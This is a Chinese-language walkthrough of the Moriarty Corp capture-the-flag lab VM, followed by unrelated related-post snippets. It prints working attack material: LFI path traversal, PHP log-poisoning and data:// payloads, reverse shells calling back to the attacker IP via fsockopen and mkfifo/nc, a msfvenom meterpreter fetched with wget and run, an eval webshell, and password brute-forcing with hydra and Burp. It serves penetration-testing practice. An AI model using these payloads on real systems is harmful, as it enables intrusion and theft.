打靶笔记-03-vulhub-BoredHackerBlog

一、靶机信息

Name: BoredHackerBlog: Moriarty Corp(中-高级难度)
Date release: 29 Mar 2020
Author: BoredHackerBlog
Series: BoredHackerBlog

这个靶机下载页面有些提示,8000是提交flag的端口,没必要攻击,然后漏洞环境是安装在靶机的Docker中的,别的好像没了或者不太重要,可以按照完全啥也不知道进行打靶。

二、靶机启动

2.1 靶机hash校验

sha1sum MoriartyCorp.ova
e9874e51a2645c1b61a3afc771aa5abdc94bf264 MoriartyCorp.ova

2.2 导入Virtualbox,并配置网络

这个靶机依然是适用于Vbox,而我攻击机器是在Vmware上搭建的,所以还是将Vbox的网络桥接到vmnet8上,使其处于一个网段,实战中这块无需多虑。

2.3 启动靶机

为了以防万一,打个快照,启动靶机开始练习

三、开始打靶

3.1 获取靶机IP

3.1.1 攻击机IP以及网卡信息

3.1.2 主机发现

sudo arp-scan -I eth0 -l



成功获取靶机IP为172.16.95.139

3.2 端口&服务扫描

3.2.1 扫描开放端口

sudo nmap -p- 172.16.95.139



发现开放端口22、8000、9000

3.2.2 确认端口所对应服务

按照惯例,对端口后面的服务进一步确认

sudo nmap -p22,8000,9000 -sV 172.16.95.139



可以看到分别是SSH、PythonWeb框架Werkzeug、Portainer Docker UI控制界面

搞到这儿,就可以有多条向下的思路

1. 爆破ssh

2. Portainer 1.19.2 是否有漏洞,它上面搭建的Application是否有web漏洞

3. Portainer 1.19.2 的漏洞利用

可以利用nmap或其他工具进行漏洞扫描测试,这里简单利用nmap的脚本扫描了一下,都没发现漏洞,所以可以先去访问下靶机提示的提交flag的8000端口。

3.3 访问8000端口

3.3.1 开局

这个靶机的一切都从这里开始进入,先键入flag{start}进入第一关



提示80端口,刚刚端口扫描没发现,现在重新扫描一遍



果然开放了,看起来这个靶机是一关一关开放的,那就开始第一关吧。

3.3.2 第一关

访问80端口,直接搞开网页源代码



发现这个页面比较简单,有点用处的就是两个链接,看到接收参数是file,而且值是个文件,我们有理由联想到文件包含,而且文件名可控,不过不知道路径可不可控,可以试一试,结合之前端口服务扫描确定的操作系统为linux,所以:

/?file=../../../../../../etc/passwd



发现路径参数也可控,所以存在本地文件包含漏洞(LFI),而且包含的是敏感型文件,说明还存在目录遍历漏洞

所以接下来就好玩了,可以包含任意文件,那就也可以是webshell,然后用蚁剑或冰蝎等进行连接,但前提是判断服务器语言环境以及找到上传webshell的地方

  1. 后端环境为php环境

    简单判断了一下,或者也可以用Wappalyzer等插件确定

  2. 上传webshell的地方

    这个地方,可以通过污染日志文件的方式达到目的
ssh '<?php phpinfo();?>'@172.16.95.139
ssh '<?php system($_GET['shell']); ?>'@172.16.95.139



这个肯定连接不上,因为压根没有这个用户名,但这里目的是为了污染ssh的连接日志文件。

为了验证是否成功污染,之前污染了phpinfo的内容进入日志,可以先包含一下看看:

?file=../../../../../../var/log/auth.log

最后好像失败了,应该是没有被污染,没想明白,这里记录一下,一会儿打进去看一下;

一会儿找到答案后记录在此

第一关打入进去之后,发现就没有此日志文件,后来才明白过来,这是个容器,而ssh的端口是宿主机的,然而宿主机的80端口映射到了容器中,这个漏洞网站是运行在容器中的,打死也包含不上啊,=-=

这里利用伪协议再次尝试:

首先是用了data伪协议:

?file=data:// text/plain,<?php phpinfo();?>
?file=data:// text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=



成功!!!那就可以使用data协议进行反弹shell了,如下是代码(一定要记得URL编码,否则代码中的一些字符例如&会被浏览器解析而无法进入后台执行):

开启nc进行监听

nc -lnvp 6666

反弹shell

?file=data://text/plain,<?php %24sock%3dfsockopen("172.16.95.133","6666")%3bexec(%22%2fbin%2fsh%20-i%20%3c%263%20%3e%263%202%3e%263%22)%3b?>



直接执行php的反弹代码,结果一闪而过,应该是代码执行后就进行内存回收了,所以无法持续链接。所以需要可以采用如下的办法实现:

?file=data://text/plain,<?php $var=shell_exec($_GET['d']);echo $var;?>&d=rm%20%2ftmp%2ff%3bmkfifo%20%2ftmp%2ff%3bcat%20%2ftmp%2ff%7c%2fbin%2fsh%20-i%202%3e%261%7cnc%20172.16.95.133%206666%20%3e%2ftmp%2ff

// 或者采用base64转换后:
?file=data://text/plain;base64,
PD9waHAgJHZhcj1zaGVsbF9leGVjKCRfR0VUWydkJ10pO2VjaG8gJHZhcjs/Pg==&d=rm%20%2ftmp%2ff%3bmkfifo%20%2ftmp%2ff%3bcat%20%2ftmp%2ff%7c%2fbin%2fsh%20-i%202%3e%261%7cnc%20172.16.95.133%206666%20%3e%2ftmp%2ff



成功拿到第一个flag,然后也提示了下一关信息是个内网



3. 总结

反弹shell的shell_exec()函数可以自由更换,比如system(),还可以尝试其他协议,比如http的方式进行远程包含

不过这里有个坑,如下:

首先在远程服务器(这里直接以kali为例)上放置需要包含的文件

cd /var/www/html/
sudo echo '<?php phpinfo();?>' ./1.txt
sudo cp 1.txt 1.php

进行远程文件包含

?file=http://172.16.95.133/1.txt



这而是先将1.txt的内容包含到了靶机上进行执行

进行如下远程包含

?file=http://172.16.95.133/1.php



这是在远程服务器上执行后将执行后的html响应内容进行了包含

所以如果想要利用http的方式进行远程文件包含(RFI),要注意分辨包含的内容是什么,要进行反弹shell的话可以将如下下载到的php文件修改后缀名后挂载到远程服务器上再进行包含,否则拿到的shell就是自己远程服务器的shell



如果不改后缀名的话,拿到的shell就是自己远程服务器的shell,如下就搞笑了:



好了,这就开始进入第二关。。。

3.3.3 第二关

根据提示,这个服务器上(docker容器)没有任何信息,需要进一步内网渗透,也提示了内网网段172.17.0.3-254(也可以自己收集到)



但是接下来,要进行内网渗透,攻击机器必须能够访问到内网网段

两种办法

  • 利用第一关拿到的shell提权,然后搞一堆攻击工具下来,远程操作,不过这个很不现实,基本可以放弃了
  • 利用第一关拿到的shell建立隧道,使得外网的攻击机器能够访问目标内网,这个可行,建立隧道的方式有很多种,我这里选择美少妇(MSF),回头尝试一下其他的方式并比较记录下来
3.3.3.1 建立隧道
  1. 开启msf,并开始监听,准备接收shell

    msfconsole
    use exploit/multi/handler
    set payload linux/x64/meterpreter_reverse_tcp
    show options
    set lhost 172.16.95.133
    set lport 8888
    run

  2. msfvenom生成相应的payload

    msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=172.16.95.133 lport=8888 -f elf >shell.elf

  3. 利用第一关的shell将生成的payload下载到目标机器执行进行上线

    cd /tmp
    wget http://172.16.95.133/shell.elf
    chmod +x shell.elf
    ./shell.elf



    成功上线

  4. 给获得的meterpreter添加内网路由

    route
    run autoroute -s 172.17.0.0/16
    background
    route print

  5. 开启msf的代理服务端功能

    sessions
    use auxiliary/server/socks_proxy
    show options
    run

  6. 配置proxychains以使用代理

    sudo vim /etc/proxychains4.conf

    将msf的代理服务器地址写入

  7. 测试隧道是否成功



    可以看到隧道已经建立成功

3.3.3.2 开始主机发现
proxychains nmap -p80,22,443 172.17.0.3-254

注意这里有个坑,就是走proxychains时最好用普通用户,我用root用户好像没扫出有效结果,不知道为啥。

之后找到答案,写在这里



成功发现一台主机172.17.0.4开放了80端口

3.3.3.3 配置火狐代理访问内网

发现内网有一台主机开放了80端口,所以可以访问一下,但是浏览器也必须走socks5代理才可以,如下配置



如下已经成功访问到,可以看出是一个文件上传的页面,看到文件上传就嘿嘿嘿了,不过貌似上传要密码



或者还可以使用如下命令启动firefox,也可以访问到内网web应用

proxychains firefox 172.17.0.4

3.3.3.4 文件上传利用

可以看到这个页面上传文件需要密码,那就只能爆破了,要想爆破就得抓包,所以必须得先让浏览器的包先到burp,然后burp挂着代理去和内网通信

浏览器=>Burp代理=>socks代理===>内网

所以需要做的就是浏览器设置代理到burp,然设置burp的socks代理,如下:







到此就搭建好了,然后开始上传文件,爆破密码

  1. 这里打算上传webshell,先随便输入密码如下:
echo '<?php @eval($_POST['ant']);?>' > shell.php



2. burp拦截并发送到intruder进行密码破解:





这里字典选择了rockyou,kali自带的很大的字典



然后就可以暴力破解了



没一会儿就找到了到密码,是password,上传之后shell.php的地址是./photo/22/shell.php

3. 上传成功,使用蚁剑链接,蚁剑也需要配置socks5代理

设置代理



链接shell,这里没有自定义UA,可以在请求信息或者js文件中进行修改

3.3.3.5 寻找flag

最终在根目录下找到第二个flag:2_flag.txt



提交之后开启第三关

3.3.4 第三关

根据提示信息,这关拿到了一些账户以及这些账户的hash,但是不知道具体哪个机器的ssh连接账户,先把账户记录和密码hash破解记录下来,分别保存为user.txt、password.txt

  1. 扫描内网开放了22端口的主机,如果对方ssh服务没有更改端口号的话就是默认22
proxychains nmap -Pn -sT -p22 172.17.0.3-254



2. 然后发现新的主机172.17.0.5开放了22端口,然后调用hydra进行尝试登陆破解

proxychains hydra -L user.txt -P password.txt



很快就找到了ssh登陆账户root密码weapons

3. 开始尝试ssh连接



4. 获取3_flag.txt并提交



根据提示进入第四关,目标内网还搭建有聊天系统,可能在443、8000、8080、8888四个端口,然后还获得聊天系统的账户buyer13密码arms13

3.3.5 第四关

  1. 开始扫描443、8000、8080、8888端口开放主机
proxychains nmap -Pn -sT -p443,8000,8080,8888 172.17.0.3-254



发现172.17.0.6的主机8000端口开放

2. 访问http://172.17.0.6:8000







通过分析Chats中的内容,可以发现对方管理员账户为admin

3. 逻辑漏洞修改管理员密码

可以发现有一个Change Password的页面,访问一下,发现不用验证旧密码,先提交抓包看看





发现果然不需要旧密码,也没有验证码,判断这边是一个任意密码修改的逻辑漏洞

然后尝试将用户名修改为admin,放包,如果能够修改成功,则应该存在一个越权逻辑漏洞



最后成功登陆admin



在admin的Chats中发现了新的flag



4. 提交flag进入下一关



还提示内网还有一个Elasticsearch

3.3.6 第五关

Elasticsearch的默认端口是9200

  1. 扫描内网开放了9200端口的主机
proxychains nmap -Pn -sT -p9200 172.17.0.3-254



很快就发现了主机172.17.0.7开放了9200,很可能就部署在这台服务器上

2. 访问http://172.17.0.7:9200



果然,拿到了这个服务的一些信息

3. 搜寻Elasticsearch的历史漏洞信息

searchsploit Elasticsearch



然后就挨个尝试吧

4. 漏洞利用

proxychains python2 36337.py 172.17.0.7



5. 提交flag,结束

四、总结

这个靶机从开始的文件包含各种姿势反弹shell开始,涉及到了内网隧道搭建任意修改密码,越权等逻辑漏洞等,练习了反弹shell的姿势、msf的使用、burp联动二级代理以及漏洞查找思路等。

下次可以用下venom,据说也很好用。

这次没怎么涉及到免杀和绕过,将基本思路形成肌肉记忆后,需要再免杀和绕过上练习练习,毕竟之后实际环境不像靶机,不怎么设置waf和杀毒。

打靶笔记-03-vulhub-Moriarty Corp的更多相关文章

  1. 打靶笔记-04-vulnhub-Jangow

    打靶笔记-04-vulnhub-Jangow 前面两篇名称写成了vulhub,已经更改为vulnhub;vulhub的之后再找个时间集中打一遍. 一.靶机信息 Name: Jangow: 1.0.1 ...

  2. 《30天自制操作系统》笔记(03)——使用Vmware

    <30天自制操作系统>笔记(03)——使用Vmware 进度回顾 在上一篇,实现了用IPL加载OS程序到内存,然后JMP到OS程序这一功能:并且总结出下一步的OS开发结构.但是遇到了真机测 ...

  3. JS自学笔记03

    JS自学笔记03 1.函数练习: 如果函数所需参数为数组,在声明和定义时按照普通变量名书写参数列表,在编写函数体内容时体现其为一个数组即可,再传参时可以直接将具体的数组传进去 即 var max=ge ...

  4. 机器学习实战(Machine Learning in Action)学习笔记————03.决策树原理、源码解析及测试

    机器学习实战(Machine Learning in Action)学习笔记————03.决策树原理.源码解析及测试 关键字:决策树.python.源码解析.测试作者:米仓山下时间:2018-10-2 ...

  5. CS229 笔记03

    CS229 笔记03 局部加权线性回归 Non-Parametric Learning Algorithm (非参数学习方法) Number of parameters grows with the ...

  6. OpenCV 学习笔记03 边界框、最小矩形区域和最小闭圆的轮廓

    本节代码使用的opencv-python 4.0.1,numpy 1.15.4 + mkl 使用图片为 Mjolnir_Round_Car_Magnet_300x300.jpg 代码如下: impor ...

  7. OpenCV 学习笔记03 findContours函数

    opencv-python   4.0.1 1 函数释义 词义:发现轮廓! 从二进制图像中查找轮廓(Finds contours in a binary image):轮廓是形状分析和物体检测和识别的 ...

  8. C++ GUI Qt4学习笔记03

    C++ GUI Qt4学习笔记03   qtc++spreadsheet文档工具resources 本章介绍创建Spreadsheet应用程序的主窗口 1.子类化QMainWindow 通过子类化QM ...

  9. SaToken学习笔记-03

    SaToken学习笔记-03 如果排版有问题,请点击:传送门 核心思想 所谓权限验证,验证的核心就是一个账号是否拥有一个权限码 有,就让你通过.没有?那么禁止访问! 再往底了说,就是每个账号都会拥有一 ...

随机推荐

  1. js trim()方法

    从字符串中移除前导空格.尾随空格和行终止符. 语法 stringObj.trim() 参数 stringObj 必选.String 对象或字符串.trim 方法不修改该字符串. 返回值 已移除前导空格 ...

  2. Foundation框架介绍

    1.Foundation框架介绍 什么是框架? 众多功能\API的集合 框架是由许多类.方法.函数.文档按照一定的逻辑组织起来的集合,以便使研发程序变得更容易,在OS X下的Mac操作系统中大约有80 ...

  3. 一键部署nginx 服务

    一键部署nginx服务 老样子安装包都拖到opt里! 脚本如下 source 执行! #!/bin/bash #======编译安装nginx服务====== #安装所需开发包和编译环境.编译器 yu ...

  4. typora与picgo搭配gitee的图床使用

    关于基础配置,参考下面4篇文章 https://segmentfault.com/a/1190000039358062 https://blog.csdn.net/qq_42827680/articl ...

  5. Scala中的运算符

    Scala和Java中的运算符用法基本一致. 一.区别 1."=="和"equals"的用法 Java: String str1 = "abc&quo ...

  6. 二进制安装tomcat

    一.安装JDK 1.1 下载JDK 官网下载地址 1.2 安装JDK #cat install_jdk.sh #!/bin/bash DIR=`pwd` JDK_FILE="jdk-8u29 ...

  7. Flask初探之WSGI

    Flask是一个使用 Python 编写的轻量级 Web 应用框架.较其他同类型框架更为灵活.轻便.安全且容易上手.它可以很好地结合MVC模式进行开发,小型团队在短时间内就可以完成功能丰富的中小型网站 ...

  8. 重新认识Appium

    一.重新认识Appium   找到了学习资料,却不知道怎么实现!!! 要如何实现呢? Appium完整案例值得参考:手把手搭建环境,其中安装和配置Mave这部分有点老了. 首先下载maven 官网地址 ...

  9. termux vim 配置 自动补全 遇到的问题

    // 自动不全需要安装 pkg install proot -y // 用proot可以为手机没有root的用户来模拟一个root的环境,这里主要是经典的 Linux 文件系统布局上的模拟. //执行 ...

  10. Solution -「CF 1370F2」The Hidden Pair (Hard Version)

    \(\mathcal{Description}\)   Link (hard) & Link (easy).   这是一道交互题.   给定一棵 \(n\) 个结点的树,其中有两个是特殊结点. ...